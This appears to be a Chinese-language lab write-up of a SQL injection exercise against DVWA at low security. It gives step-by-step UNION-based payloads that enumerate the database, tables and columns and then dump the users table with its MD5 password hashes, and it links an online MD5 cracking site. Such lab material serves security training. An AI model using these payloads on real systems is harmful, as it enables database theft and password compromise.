實驗:Vulnerability: SQL Injection(low)
SQL注入一般過程
1.判斷注入點
一般和數據庫進行交互的位置
2.判斷注入點類型
字符型判斷:
1'?? 報錯
1' and '1'='2? 錯誤結果
1' and '1'='1? 正確結果
數字型判斷:
1'?? 報錯
1 and 1=2? 錯誤結果
1 and 1=1? 正確結果
3.獲取數據回顯位置
3.1 判斷返回字段數
兩種方式判斷:1.order by 2. union select
1' order by 1# 正確顯示結果
1' order by 2# 正確顯示結果
1' order by 3# 報錯
判斷返回結果有兩列。
3.2 判斷回顯位置
1' union select 1#? 報錯
1' union select 1,2#? 正確顯示,并成功顯示回顯位置
4.查詢數據庫名
database() 獲取數據庫名,user()獲取用戶名
1' union select database(),user() #
5.獲取表名
數據庫:information_schema
數據表:information_schema.tables
字段:table_schema = 'dvwa'
通過上面的內容查詢表名,table_name
-1' union select 1,table_name from information_schema.tables
where table_schema=database()#
報錯:
Illegal mix of collations for operation 'UNION'? 編碼錯誤
三種方式解決:
1.變成16進制輸出
-1' union select 1,hex(table_name) from information_schema.tables
where table_schema=database()#
2.輸出指定字符集
-1' union select 1,table_name collate utf8_general_ci from information_schema.tables
where table_schema=database()#
3.直接修改數據庫字符集
查詢結果可能只顯示一條,因此使用group_concat()函數,將結果進行聚合
-1' union select 1,group_concat(table_name) collate utf8_general_ci from information_schema.tables
where table_schema=database()#
查詢結果為:guestbook,users
5.查詢字段名
數據庫:information_schema
表:information_schema.columns
條件字段:table_schema='dvwa',table_name='users'
查詢內容:column_name
-1' union select 1,group_concat(column_name) collate utf8_general_ci from information_schema.columns
where table_schema=database() and table_name='users'#
查詢結果: user_id,first_name,last_name,user,password,avatar,last_login,failed_login
6.查詢數據
查詢表:users
查詢字段:user,password
-1' union select 1,group_concat(user,'~',password) from users#
查詢結果:admin~5f4dcc3b5aa765d61d8327deb882cf99,gordonb~e99a18c428cb38d5f260853678922e03,1337~8d3533d75ae2c3966d7e0d4fcc69216b,pablo~0d107d09f5bbe40cade3de5c71e9e9b7,smithy~5f4dcc3b5aa765d61d8327deb882cf99
MD5在線解密:
https://www.cmd5.com/